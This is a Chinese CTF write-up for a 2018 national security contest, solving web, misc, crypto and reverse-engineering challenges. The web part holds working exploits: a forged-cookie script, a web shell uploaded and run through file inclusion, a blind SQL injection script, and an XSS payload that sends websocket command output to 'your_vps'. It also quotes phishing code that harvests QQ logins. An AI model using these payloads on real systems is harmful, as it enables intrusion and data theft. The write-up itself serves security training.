前言
周末抽空做了一下2018全国网络空间安全技术大赛,由于题目难度适中,ak了web,做出了绝大部分的misc和crypto
这里特别感谢队友yuriXO对我crypto的极大帮助:)
crypto和misc的题目地址
链接: https://pan.baidu.com/s/1FSIIbldbBHLNsUFJOaJ8lA 密码: 91v6
WEB
web签到
签到题就不解释了
flag如下
flag{ylng_ying_yin@}
web1
http://117.34.117.216
访问后跳转到登录页面
http://117.34.117.216/login.php
发现有注册,随意注册一个账号,登录后
发现要以admin的身份访问flag.php
查看源代码,发现还有change_password的功能
同时发现cookie中有username项
猜想可能存在越权问题
进入修改密码页面
发现未做username的check
猜想直接使用了cookie中的username
随机修改cookie中的username为admin
同时修改密码
成功登入,来到管理页面
发现可以获取远程图片
随手测试,发现题目会将远程访问到的页面内容写到本地的图片img目录中
尝试访问
http://127.0.0.1/flag.php
下载图片文件后获得flag
得到flag
flag{dbf6e52d69973dd16d87d4a8c3816ca9}
web2
访问题目
http://117.34.116.192/index.php?file=login.html
登录尝试发现是伪登录
随即想到存在文件包含,尝试读取源码
file=php://filter/read=convert.base64-encode/resource=index.php
提示
illgal filename!!
发现存在过滤
随手测试了一波目录,发现了.git文件泄露
随后下载到源码
此时打开index.php
发现是经过加密的
这里有两种解密选择
http://www.phpjm.cc/
https://github.com/firebroo/screw_decode
前者花钱解密,简单快捷
后者用工具解密,相对于繁琐一些
解密后得到源码
<?php
error_reporting(0);
if(!isset($_GET['file'])||empty($_GET['file'])){
header('Refresh:1,url=index.php?file=login.html');
die;
}
$file = $_GET['file'];
if ((strpos($file,':')!==false)){
header('Refresh:1,url=index.php?file=login.html');
echo "illgal filename!!";
die;
}
include_once($file);
?>
发现只是文件包含
再看upload.php
<?php
function Administrator($value){
if(empty($_COOKIE['in_adminid']) || empty($_COOKIE['in_adminexpire']) || $_COOKIE['in_adminexpire']!==md5($_COOKIE['in_adminid'].$_COOKIE['in_adminname'].$_COOKIE['in_adminpassword'].$_COOKIE['in_permission'])){
return False;
}
setcookie("in_adminexpire",$_COOKIE['in_adminexpire'],time()+1800);
if(!empty($_COOKIE['in_permission'])){
$array=explode(",",$_COOKIE['in_permission']);
$adminlogined=false;
for($i=0;$i<count($array);$i++){
if($array[$i]==$value){$adminlogined=true;}
}
if(!$adminlogined){
return False;
}
}else{
return False;
}
return true;
}
if (Administrator(2)){
if(isset($_FILES['file'])){
$filename = './img/img'.rand().'.jpg';
move_uploaded_file($_FILES["file"]["tmp_name"],$filename);
header('Refresh:3,url=index.php?file=upload.php');
echo "Upload $filename Success!";
die;
}
}else{
header('Refresh:3,url=index.php?file=login.html');
echo "Who are you!";
die;
}
?>
发现可以文件包含,但是要绕过前面的
if(empty($_COOKIE['in_adminid']) || empty($_COOKIE['in_adminexpire']) || $_COOKIE['in_adminexpire']!==md5($_COOKIE['in_adminid'].$_COOKIE['in_adminname'].$_COOKIE['in_adminpassword'].$_COOKIE['in_permission']))
随即构造脚本
import hashlib
def md5(a):
b = hashlib.md5(a).hexdigest()
return b
in_adminid='1'
in_adminname='admin'
in_adminpassword='admin'
in_permission='2'
in_adminexpire=md5(in_adminid+in_adminname+in_adminpassword+in_permission)
print in_adminexpire
利用cookieedit更改cookie,即可来到上传页面
上传一个带shell的jpg图片
得到文件位置
Upload ./img/img9545545.jpg Success!
然后利用文件包含
http://117.34.116.192/index.php?file=./img/img9545545.jpg
菜刀连接上
下载f14g.php
发现依旧是加密过的,还是用上述方法解密
即可得到flag
<?php
$flag = "";//flag{7cb3d823105433606ccac8fb75aed67c}
?>
web3
http://45.76.49.10:8001
挺有意思的一题,题目应该来源一个真实事件
从钓鱼样本到某大厂存储型XSS
https://xz.aliyun.com/t/2322
用PC点开链接会直接跳转到正版的QQ空间
所以这里需要抓包,不难发现跳转到
http://45.76.49.10:8001/0b10813e85c20b58a023440d9f58d7e2
然后发现内容(过多,给出部分)
document.write(decodeURIComponent(arcfour("36a9dc5d29d54b46793d0c682298dbab",base64_decode("EzOR925j1QH2xcQc8Tr9x4GfY2UQ/pt8qa6HxeqOo2WBlyxX36pUO4BZcYkzAbOBWHIVSQiE5fH+LMw4MB/kAFyW7hlMZEWJSoJ7agQOOE3G8GWZuKepUs7z4bia/iXPIPicedfmKpk7VIC+axY+HKCwxCCN9jTJo5kC9d8KTGR/xLgz1a1/7I1cBFdwcuuYPtlHcWjDagXWwN0z25MJgq4ZDViT+x+YkilDwwwzOvqesH/LleYn9PMnE00QvrijCo99j/HAvmMPEVJGDADMt+zowRvcQHeehw/ATQ8/K0vOaqqxf4P1uZKDNOnFDTlt6ijtyuGFTrVHQfru3pErTsEoHOrjHj6sHyBA0xZEC1j3wVM4kW1OKZWYBhRNqHUvcz6Tc7tdjwmkqcaEW71NTXxBF4D8zjJoe8qJeGXvo8qSpWJV/4tYLHI3x90dNV9T53CqeyNYmYE995ozzaN8Wwjqt+YthltVTfqBTkE43HX64V0F3Itqvx0QRtzKWjdxwtc5IibTqjuL0JDlrsHLzOIv51qGH9JvgqrE5Y9jZhQoICCUIlgbyKoYuQJvN8Z2yArywMsY4iiU1jG5lI+BvaYS2BK6INwtRdLKYlDn80yKkq3XPFRsloM1KfxS9DQ/a5euUOf/LB91m72PG4p5GRH+kl/fW9OAdJWoXeA4tJpKntxrGonGfS4QAk8ne5JrHCJHqAKHVuyEqeYhHimkhB9bUtDaZJBG8kDwKaiT7cjCHaxJouLo9S5lVGPIUlIQNusMaLAvC6SaIDk4iY50uXdR2mVBouB+g+/pCbK5oTYvxnqrljqti9McqPNGk5AeLPKZzH
.....
是加密后的内容
在密文最后可以发现解密函数
document.title = 'u624bu673au7edfu4e00u767bu5f55';
document.body.appendChild(set);
function base64_encode(d){var q='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var z,y,x,w,v,u,t,s,i=0,j=0,p='',r=[];if(!d){return d}do{z=d.charCodeAt(i++);y=d.charCodeAt(i++);x=d.charCodeAt(i++);s=z<<16|y<<8|x;w=s>>18&0x3f;v=s>>12&0x3f;u=s>>6&0x3f;t=s&0x3f;r[j++]=q.charAt(w)+q.charAt(v)+q.charAt(u)+q.charAt(t)}while(i<d.length);p=r.join('');var r=d.length%3;return(r?p.slice(0,r-3):p)+'==='.slice(r||3)}
function base64_decode(d){var q='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var z,y,x,w,v,u,t,s,i=0,j=0,r=[];if(!d){return d}d+='';do{w=q.indexOf(d.charAt(i++));v=q.indexOf(d.charAt(i++));u=q.indexOf(d.charAt(i++));t=q.indexOf(d.charAt(i++));s=w<<18|v<<12|u<<6|t;z=s>>16&0xff;y=s>>8&0xff;x=s&0xff;if(u==64){r[j++]=String.fromCharCode(z)}else if(t==64){r[j++]=String.fromCharCode(z,y)}else{r[j++]=String.fromCharCode(z,y,x)}}while(i<d.length);return r.join('')}
function arcfour(k,d){var o='';s=new Array();var n=256;l=k.length;for(var i=0;i<n;i++){s[i]=i}for(var j=i=0;i<n;i++){j=(j+s[i]+k.charCodeAt(i%l))%n;var x=s[i];s[i]=s[j];s[j]=x}for(var i=j=y=0;y<d.length;y++){i=(i+1)%n;j=(j+s[i])%n;x=s[i];s[i]=s[j];s[j]=x;o+=String.fromCharCode(d.charCodeAt(y)^s[(s[i]+s[j])%n])}return o}
不难看出,作者自己写了rc4算法和base64加解密
而密文流程为:
base64解密->rc4解密->url解码
我这里直接选择控制台解密
利用console.log和出题人定义好的解密函数,容易直接得到明文代码,由于代码篇幅过长,想看这部分伪造钓鱼代码的,可以看之前文章提及的先知上的一篇文章,我这里只给出部分重要js代码
<script>
var key = "MiaoMiao";
var times = 0;
function error(msg) {
$("#error_tips").css({
display: 'block'
});
$('#error_message').html(msg);
err = true;
}
$('form input').focus(function() {
$("#error_tips").css({
display: 'none'
});
err = false;
});
$("#error_tips").on('click',
function() {
$(this).hide();
});
$("#go").on('click',
function() {
var $this = $(this);
err = false;
var p = $("#p").val();
var u = $("#u").val();
u == '' && error('您还没有输入帐号!');
if (err) return false;
p == '' && error("您还没有输入密码!");
if (err) return false;
/^[1-9][0-9]{5,9}$/.test(u) || error('请输入正确的帐号!');
if (err) return false;
var len = p.length; (len < 6 || len > 16) && error('您输入的帐号或密码不正确,请重新输入。');
if (err) {
$("#p").val('');
return false;
}
if (!err){
$.ajax({
url:'/f701fee85540b78d08cb276d14953d58',
type:'POST',
dataType:'json',
data: "data="+encodeURIComponent(encryptByDES($('#loginform').serialize(),key)),
error:function(er){
window.location.href='https://qzone.qq.com';
}
})
}
})
function encryptByDES(message, key) {
var keyHex = CryptoJS.enc.Utf8.parse(key);
var encrypted = CryptoJS.DES.encrypt(message, keyHex, {
mode: CryptoJS.mode.ECB,
padding: CryptoJS.pad.Pkcs7
});
return encrypted.ciphertext.toString(CryptoJS.enc.Base64);
}
</script>
我们不难看到,黑客获取到用户登录的账号密码后,进行了序列化,然后利用DES加密后post到了后端/f701fee85540b78d08cb276d14953d58
其中DES的密钥为MiaoMiao
现在容易得到思路:
由于该网站是一个钓鱼网站,那么势必会存储用户登录的账号密码
那么既然要存储,可能就会涉及Sql注入问题。既然是钓鱼网站的sql操作
我相信不会有太多的过滤吧(毕竟我相信钓鱼的人不会这么XD)
所以我的第一反应就是insert注入,测试后可以发现,无论post什么数据
网页均无反馈,看起来就是sleep盲注了
于是我构造出测试脚本(注:这里需要注意传输数据得用key加密)
from pyDes import *
import base64
import requests
import string
url = "http://45.76.49.10:8001/f701fee85540b78d08cb276d14953d58"
payload ="1' and if((ascii(substr((database()),1,1))>-1),sleep(10),1) or '"
pay = "ip=0.0.0.0&hrUW3PG7mp3RLd3dJu=12345678900&LxMzAX2jog9Bpjs07jP=%s"%payload
k = des("MiaoMiao", ECB, "", pad=None, padmode=PAD_PKCS5)
d = base64.b64encode(k.encrypt(pay))
data = {
"data":d
}
print pay
print data
try:
s =requests.post(url=url,data=data,timeout=5)
print s.content
except:
print "sleep 10s ok!"
发现可以成功sleep,于是我立刻写出了注入脚本
from pyDes import *
import base64
import requests
import string
url = "http://45.76.49.10:8001/f701fee85540b78d08cb276d14953d58"
flag = ""
for i in range(1,50):
print i
for j in '1234567890abcdef{}':
j = ord(j)
payload = "1' and if((ascii(substr((select password from admin limit 0,1),%s,1))=%s),sleep(3),1) or '"%(i,j)
pay = "ip=0.0.0.0&hrUW3PG7mp3RLd3dJu=%s&LxMzAX2jog9Bpjs07jP=123456789" % (payload)
k = des("MiaoMiao", ECB, "", pad=None, padmode=PAD_PKCS5)
d = base64.b64encode(k.encrypt(pay))
data = {
"data": d
}
try:
s = requests.post(url=url, data=data,timeout=3)
except:
flag += chr(j)
print flag
break
最后可以得到flag
flag{73ad1744f38b68ece51076c7ac77621b}
web4
http://117.34.112.247:8001
题目的背景为xss->rce
同时给出了部分代码
type msg struct {
Cmd string `json:"cmd"`
}
func main() {
app := sweetygo.New("./", nil)
app.GET("/ws", ws)
app.RunServer(":8002")
}
func ws(ctx *sweetygo.Context) {
conn, _ := websocket.Upgrade(ctx.Resp, ctx.Req, ctx.Resp.Header(), 1024, 1024)
for {
m := msg{}
err := conn.ReadJSON(&m)
if err != nil {
fmt.Println("Error reading json.", err)
break
}
res := exec(m.Cmd)
fmt.Println(res)
if err = conn.WriteJSON(res); err != nil {
fmt.Println(err)
break
}
}
}
不难看出作者使用了go web框架sweetygo
帮作者推广一波
github.com/AmyangXYZ/sweetygo
这里看应该不存在漏洞的,然后就容易联想到醒目题目描述
“grollia的websocket真好用,一句话 conn, _ := websocket.Upgrade(ctx.Resp, ctx.Req, ctx.Resp.Header(), 1024, 1024)就建好了,我也可以搭个IGo NoteBook啦!”
—— 刚学Golang的小明
这里容易联想到websocket的问题
我们看到代码
func main() {
app := sweetygo.New("./", nil)
app.GET("/ws", ws)
app.RunServer(":8002")
}
首先探测了一下,发现8002端口并没有对外网开放
我们只能通过内部访问,而唯一的方式就是xss
而我们知道js可以连接websocket
同时注意到
func ws(ctx *sweetygo.Context) {
conn, _ := websocket.Upgrade(ctx.Resp, ctx.Req, ctx.Resp.Header(), 1024, 1024)
for {
m := msg{}
err := conn.ReadJSON(&m)
if err != nil {
fmt.Println("Error reading json.", err)
break
}
res := exec(m.Cmd)
fmt.Println(res)
if err = conn.WriteJSON(res); err != nil {
fmt.Println(err)
break
}
}
}
这里存在命令执行(但是出题人为了安全,只允许执行ls和cat)
可以看到,如果我们连接上websocket,传输msg即可造成rce
所以现在的思路比较清晰了
1.构造xss,利用js连接websocket
2.连接后发送RCE命令(ls)
3.将数据打出到自己的vps
查阅资料可以发现
onmessage:一个用于消息事件的事件监听器,这一事件当有消息到达的时候该事件会触发。这个Listener会被传入一个名为"message"的 MessageEvent 对象。
onopen:一个用于连接打开事件的事件监听器。当readyState的值变为 OPEN 的时候会触发该事件。该事件表明这个连接已经准备好接受和发送数据。这个监听器会接受一个名为"open"的事件对象。
我们先写出xss进行探测,看是否可以成功连接
<script>
var ws = new WebSocket("ws://127.0.0.1:8002/ws");
ws.onopen = function(){
$.ajax({
url: "http://your_vps/success"
});
};
</script>
不一会儿就发现收到了success数据,证明连接成功
于是我们构造出rce的js
<script>
var ws = new WebSocket("ws://127.0.0.1:8002/ws");
ws.onopen = function(){
var b = {"cmd":"ls"};
ws.send(JSON.stringify(b));
};
ws.onmessage = function(evt){
$.ajax({
url: "http://your_vps/?"+evt.data
});
}</script>
收到回显
读取flag
后来了解到此题的背景同样为真实案例:
IPython Notebook( CVE-2014-3429 )
膜一发作者~
MISC
misc1
题目打开后得到一个图片
发现ffd9后有压缩包
提取出来后发现是伪加密
利用binwalk直接提取
获得文件stego.txt
第一反应即base64隐写
https://www.tr0y.wang/2017/06/14/Base64steg/
随即写脚本
# -*- coding: cp936 -*-
b64chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
with open('stego.txt', 'rb') as f:
bin_str = ''
for line in f.readlines():
stegb64 = ''.join(line.split())
rowb64 = ''.join(stegb64.decode('base64').encode('base64').split())
offset = abs(b64chars.index(stegb64.replace('=','')[-1])-b64chars.index(rowb64.replace('=','')[-1]))
equalnum = stegb64.count('=') #no equalnum no offset
if equalnum:
bin_str += bin(offset)[2:].zfill(equalnum * 2)
print ''.join([chr(int(bin_str[i:i + 8], 2)) for i in xrange(0, len(bin_str), 8)]) #8位一组
运行即可获得flag
Flag{Ba5e_64OFive}
misc2
首先是题目描述
我觉得,这题可以在windows环境下解。
windows下解的mp3题
一般misc无非是隐写,windows下的隐写,容易想到ntfs
解压后用工具查看
发现有flag.doc文件
导出后查看文件内容
发现有处有奇怪的空白
我们改变一下字体颜色为红色
但是显然是第二段的flag:_from_your_efforts}
还有一段在哪里呢?
用winhex或者改成txt格式查看文件末尾
可以发现
另一段flag
f l a g { A l l _ s u c c e s s _ c o m e s
最后得到flag
flag{All_success_comes_from_your_efforts}
misc3
题目有些脑洞
看到题目提示
ames发现公司员工通过数据包向外隐匿地发送信息,并截获了这段时间的流量包,请帮助他恢复流量中隐匿传输的信息,并以flag{*}的形式提交。
重点在于隐匿的,查看了一遍tcp和http流量,并未发现什么奇特的点
最后在icmp协议中发现了问题
容易看到每个icmp协议中的2个字符都在变化,其余均不变,于是脑洞大开,拼接为一起,成功得到flag
flag{RyHgbCf5OhFEiyJnlt9c8ASP}
Crypto
crypto1
题目描述
在RSA算法中,我们知道公钥加密指数e要与φ(n)互素。但是如果e与φ(n)不互素,我们应该怎么办呢?
已知条件见文本,解出明文,递交FLAG。
观察到e为200=8*25
此时我们可以用25的逆元去解,然后开8次方即可
脚本如下
import gmpy2
c=7797067792814175554801975939092864905908878472965854967525218347636721153564161093453344819975650594936628697646242713415817737235328825333281389820202851500260665233910426103904874575463134970160306453553794787674331367563821223358610113031883172742577264334021835304931484604571485957116313097395143177603380107508691261081725629713443494783479897404175199621026515502716868988672289887933681890547568860707175288422275073767747544353536862473367590288531216644146154729962448906402712219657000812226637887827912541098992158458173920228864293993030475885461755767069329678218760943185942331149777258713727459739405
p=111052706592359766492182549474994387389169491981939276489132990221393430874991652628482505832745103981784837665110819809096264457329836670397000634684595709283710756727662219358743235400779394350023790569023369287367240988429777113514012101219956479046699448481988253039282406274512111898037689623723478951613
q=146182161315365079136034892629243958871460254472263352847680359868694597466935352294806409849433942550149005978761759458977642785950171998444382137410141550212657953776734166481126376675282041461924529145282451064083351825934453414726557476469773468589060088164379979035597652907191236468744400214917268039573
e=25
n=p*q
d =gmpy2.invert(e,(p-1)*(q-1))
flag8 = pow(c,d,n)
print hex(gmpy2.iroot(flag8,8)[0])
即可得到
0x4354467b4c6966655f49535f415f4265617574797d
即
CTF{Life_IS_A_Beauty}
crypto2
题目实际上ecc算法
参考链接
https://hgarrereyn.gitbooks.io/th3g3ntl3man-ctf-writeups/2017/picoCTF_2017/problems/cryptography/ECC2/ECC2.html
使用上述链接中的代码
from sage.all import *
M = 93556643250795678718734474880013829509320385402690660619699653921022012489089
A = 66001598144012865876674115570268990806314506711104521036747533612798434904785
B = 25255205054024371783896605039267101837972419055969636393425590261926131199030
P = (56027910981442853390816693056740903416379421186644480759538594137486160388926, 65533262933617146434438829354623658858649726233622196512439589744498050226926)
Q = (82470715998045253133931379369477906093551619202698188387811754055611146940802, 73706972132070004469528192666337156782673206740372495041722107956327401385152)
F = FiniteField(M)
E = EllipticCurve(F,[A,B])
P = E.point(P)
Q = E.point(Q)
factors, exponents = zip(*factor(E.order()))
primes = [factors[i] ^ exponents[i] for i in range(len(factors))][:-2]
dlogs = []
for fac in primes:
t = int(P.order()) / int(fac)
dlog = discrete_log(t*Q,t*P,operation="+")
dlogs += [dlog]
print("factor: "+str(fac)+", Discrete Log: "+str(dlog)) #calculates discrete logarithm for each prime order
l = crt(dlogs,primes)
print(l)
可以计算k
factor: 4, Discrete Log: 2
factor: 3, Discrete Log: 2
factor: 5, Discrete Log: 4
factor: 7, Discrete Log: 1
factor: 137, Discrete Log: 70
factor: 593, Discrete Log: 459
factor: 24337, Discrete Log: 4079
factor: 25589, Discrete Log: 22677
factor: 3637793, Discrete Log: 192569
factor: 5733569, Discrete Log: 123222
241442528183133391090263659954
观察到题目的加密流程
def encrypt(B,flag):
M=[]
(x,y)=B
for i in flag:
M.append(str((int(i)*x)%p))
return M
我们只要求逆元乘回去即可
def decrypt(B,cipher):
M = []
(x, y) = B
d = gmpy2.invert(x,p)
for i in cipher:
M.append(str((int(i) * d) % p))
return M
最后完整解题代码
# -*- coding: cp936 -*-
import gmpy2
p=93556643250795678718734474880013829509320385402690660619699653921022012489089
a=66001598144012865876674115570268990806314506711104521036747533612798434904785
b=25255205054024371783896605039267101837972419055969636393425590261926131199030
P=(56027910981442853390816693056740903416379421186644480759538594137486160388926, 65533262933617146434438829354623658858649726233622196512439589744498050226926)
def add(p,a,b,P,Q):
if P==(0,0):
return Q
if Q==(0,0):
return P
if P!=(0,0) and Q!=(0,0):
(Px,Py),(Qx,Qy)=P,Q
if P!=Q:
s=(Qy - Py) * gmpy2.invert(Qx - Px, p) % p
else:
s=(3 * Px ** 2 + a) * gmpy2.invert(2 * Py, p) % p
Rx=(s**2-Px-Qx)%p
Ry=(s*Px-s*Rx-Py)%p
return int(Rx),int(Ry)
def bits(n):
while n:
yield n & 1
n >>=1
def double_and_add(n,p,a,b,P):
Q=P
result=(0,0)
for bit in bits(n):
if bit==1:
result=add(p,a,b,result,Q)
Q=add(p,a,b,Q,Q)
return result
def encrypt(B,flag):
M=[]
(x,y)=B
for i in flag:
M.append(str((int(i)*x)%p))
return M
def decrypt(B,cipher):
M = []
(x, y) = B
d = gmpy2.invert(x,p)
for i in cipher:
M.append(str((int(i) * d) % p))
return M
c=['59606574942045237892160565660789485179761474793536568061197611839605420346341', '47875019928315975935470451251861629803812269197911544058574875780767887781883', '47875019928315975935470451251861629803812269197911544058574875780767887781883', '87395068884892630805602977284140888323072523242568617217106051341924998180285', '46630423195878630891974017244302408005523563020190564609208709685671882231257', '75663513871163368848912862875213032947123317646943593214483315283087465615827', '85854675293416868827320102885172653026510557702538106366457650697150744603084', '65472352448909868870505622865253412867736077591349080062508979869024186628570', '53740797435180606913815508456325557491786871995724056059886243810186654064112', '29033090675284737956938845630910624941599754626753028605274605597415583384570', '46630423195878630891974017244302408005523563020190564609208709685671882231257', '75663513871163368848912862875213032947123317646943593214483315283087465615827', '85854675293416868827320102885172653026510557702538106366457650697150744603084', '65472352448909868870505622865253412867736077591349080062508979869024186628570', '53740797435180606913815508456325557491786871995724056059886243810186654064112', '79988897786552237848975045680708725338535954904725594365146282667731978320855', '46630423195878630891974017244302408005523563020190564609208709685671882231257', '87395068884892630805602977284140888323072523242568617217106051341924998180285', '47875019928315975935470451251861629803812269197911544058574875780767887781883', '59606574942045237892160565660789485179761474793536568061197611839605420346341', '68553139631861392827071371663189883460860008671410101763805781158572693782972']
C1=(86892541043117403764803129862679079014029734149331061618933412161852971278663, 76398582431519045045640039001896036904727467709248934373737249884161020619730)
k=241442528183133391090263659954
kc1 = double_and_add(k,p,a,b,C1)
flag = decrypt(kc1,c)
res = ""
for i in flag:
res+=chr(int(i))
print res
运行后得到flag
flag{GOOD LUCK, LUCKY DOG!}
crypto3
nc 117.34.112.241 1279
此题是一道Padding oracle attack的题目
详细介绍可以参照我的这篇文章
http://skysec.top/2017/12/13/padding-oracle%E5%92%8Ccbc%E7%BF%BB%E8%BD%AC%E6%94%BB%E5%87%BB/
这里我直接给出利用脚本了
#!/usr/bin/env python
# coding=utf-8
from pwn import *
result = ''
result1=''
encode = 'x03xc1x1cx98x0ex8ax75xf4x6bx04x83xebx3bx58xa1x3ax31xe8x26x08xe2x44x5exa1x05xd9xc7x86x8bxd9x75x9a'
encode1 = encode[0:16]
encode2 = encode[16:32]
encode3 = '123456789ABCDEFG'
p = remote('117.34.112.241',1279)
p.recvuntil('crack violently!n')
def dd(datab):
p.send('2n')
p.recvuntil("bytes ciphertextn")
p.sendline(encode1)
p.recvuntil('IVn')
p.sendline(datab)
zz = p.recvline()
print zz
if "good" in zz:
print 'success'
print datab
return 1
else:
print 'false'
jj = ''
xx = ''
for j in xrange(1,17):
for z in result1:
xx += chr(ord(z)^j)
for i in xrange(0,256):
print i
ss = (15-len(result1)) * chr(0)
ss = ss +chr(i)+xx
if dd(ss):
wrp= chr(i^j^ord(encode3[16-j]))
result += wrp
jj = chr(ord(wrp))+jj
result1 = chr(i^j) + result1
print jj
xx = ''
break
用iv和encode1得到第一段明文
用encode1和encode2得到第二段明文
crypto4
题目描述
在Alice用帐户名和密码登录一个用RSA加密通信的网站的过程中,不小心将密码的最后一位字符的大小写弄错了,于是重新输入,这一过程恰好被攻击者K监听到,并截获了这两条密文。那么攻击者就能很容易破解出Alice的密码,求出这个密码,提交FLAG。
可以看到加密的明文消息只有1位不同,相差32,查到一篇相关文章
参考链接
https://github.com/ZoEplA/Team233/blob/0bb364f2aef8775230c9552d75465ef6a6aa1fb5/2018/wp/redhet/Team233%20writeup.md
效仿其中的代码
# solve.sage
from hashlib import sha256
def related_message_attack(c1, c2, diff, e, n):
PRx.<x> = PolynomialRing(Zmod(n))
g1 = x^e - c1
g2 = (x+diff)^e - c2
def gcd(g1, g2):
while g2:
g1, g2 = g2, g1 % g2
return g1.monic()
return -gcd(g1, g2)[0]
n = 27262030738190162906068533309218248319312037416856794814532459866130196673561833084739048171769479893806671499522643803412108279907223895517897969906253626028270289028646596897429641138913001561947557784840311014399973312098056896539904624036584153785225626096007313018814076860235378686567457599895712604364100507424939342862464483596795761725357279364545154915110900098124905389351969357103586063992040096368146580315262263546850581515833590884397726108478477798668261762306189036525841356592859315437201733146083995028221597538824801113980100295046731791678895520928441645173205511865657977068061078456941189550383
e = 3
c2 = 80256065280425989347153660555632253204654757632704797390559450985825600409910703812294413750536361555897348650491697548574007864446117693097103136799284683292648287334023253488891301144881769557674366138889636475162525325855368132832237345279798028008137655682278413635753791609965810603989005785747744993045461207072415730041608172272077090225741385971
c1 = 80256065280425989347153660555632253204654757632704797390559450985825600409910703812294413750536361555897348650491699334745453065435184774282609871793525447798655880850590288431173204818294305809864531293135689257716648980215360552397800418527073621708108066406898267720300730094465977262440649283179655484278496374936325875186126245693549228697550672467
diff = 32
m = related_message_attack(c2, c1, diff, e, n)
flag = ('%x' % m).decode('hex')
print flag
得到flag
my password is: I_Lov5_RSA_Rel6te7_me8sagE_aTTacK
Re
re1
由于re1实际上也是密码题。。所以我也做了一下
将题目给的pyc反编译一下,得到代码如下
#!/usr/bin/env python
# visit http://tool.lu/pyc/ for more information
from hashlib import md5
import base64
from time import time
from datetime import datetime
import sys
def encodestr(string):
UC_KEY = '123456789'
key = md5(UC_KEY.encode('utf-8')).hexdigest()
keya = md5(key[0:16].encode('utf-8')).hexdigest()
keyb = md5(key[16:32].encode('utf-8')).hexdigest()
ckey_length = 4
keyc = md5(string.encode('utf-8')).hexdigest()[-ckey_length:]
cryptkey = md5((keya + keyc).encode('utf-8')).hexdigest()
key_length = len(cryptkey)
expiry = 20
string = '%10d' % expiry + md5((string + keyb).encode('utf-8')).hexdigest()[0:16] + string
box = range(256)
rndkey = [
0] * 256
for i in range(256):
rndkey[i] = ord(cryptkey[i % key_length])
string_length = len(string)
result = ''
j = 0
for i in range(256):
j = (j + box[i] + rndkey[i]) % 256
tmp = box[i]
box[i] = box[j]
box[j] = tmp
a = 0
j = 0
for i in range(string_length):
a = (a + 1) % 256
j = (j + box[a]) % 256
tmp = box[a]
box[a] = box[j]
box[j] = tmp
result += chr(ord(string[i]) ^ box[(box[a] + box[j]) % 256])
return result
if __name__ == '__main__':
str1 = raw_input('please enter the flag:')
res = encodestr(str1)
lenn = len(res)
d = [
128,
220,
109,
113,
242,
153,
181,
203,
21,
122,
2,
101,
42,
55,
56,
19,
190,
181,
99,
47,
217,
109,
129,
221,
9,
65,
235,
48,
197,
103,
123,
86,
25,
112,
172,
175,
42,
168,
232,
81,
224,
170,
16,
210,
98,
229,
15,
30,
134]
for i in range(lenn):
if ord(res[i]) == d[i] or i == lenn - 1:
print 'you get it'
print 'wrong'
break
不难看出,和rc4密钥相关的明文输入只有4位,那么我们可以选择爆破这4位
而rc4的算法未:
keystream xor mes = cipher
所以我们只需要爆破4位未知密钥,然后生成密钥流和密文异或即可
脚本如下
#!/usr/bin/env python
# visit http://tool.lu/pyc/ for more information
from hashlib import md5
def encodestr(string,keyc):
UC_KEY = '123456789'
key = md5(UC_KEY.encode('utf-8')).hexdigest()
keya = md5(key[0:16].encode('utf-8')).hexdigest()
keyb = md5(key[16:32].encode('utf-8')).hexdigest()
cryptkey = md5((keya + keyc).encode('utf-8')).hexdigest()
key_length = len(cryptkey)
box = range(256)
rndkey = [0] * 256
for i in range(256):
rndkey[i] = ord(cryptkey[i % key_length])
string_length = 49
result = ''
j = 0
for i in range(256):
j = (j + box[i] + rndkey[i]) % 256
tmp = box[i]
box[i] = box[j]
box[j] = tmp
a = 0
j = 0
for i in range(string_length):
a = (a + 1) % 256
j = (j + box[a]) % 256
tmp = box[a]
box[a] = box[j]
box[j] = tmp
result += chr(string[i] ^ box[(box[a] + box[j]) % 256])
return result
if __name__ == '__main__':
d = [
128,
220,
109,
113,
242,
153,
181,
203,
21,
122,
2,
101,
42,
55,
56,
19,
190,
181,
99,
47,
217,
109,
129,
221,
9,
65,
235,
48,
197,
103,
123,
86,
25,
112,
172,
175,
42,
168,
232,
81,
224,
170,
16,
210,
98,
229,
15,
30,
134]
for x1 in '0123456789abcdef':
for x2 in '0123456789abcdef':
for x3 in '0123456789abcdef':
for x4 in '0123456789abcdef':
keyc=x1+x2+x3+x4
res = encodestr(d,keyc)
flagbool = 1
for i in res:
if ord(i)>128 or ord(i)<20:
flagbool=0
break
if flagbool:
print res
运行后得到
flag{$h0w_m3_7he_m0ney}
后记
作者能力有限,若有不足,请更正,感谢!
发表评论
您还未登录,请先登录。
登录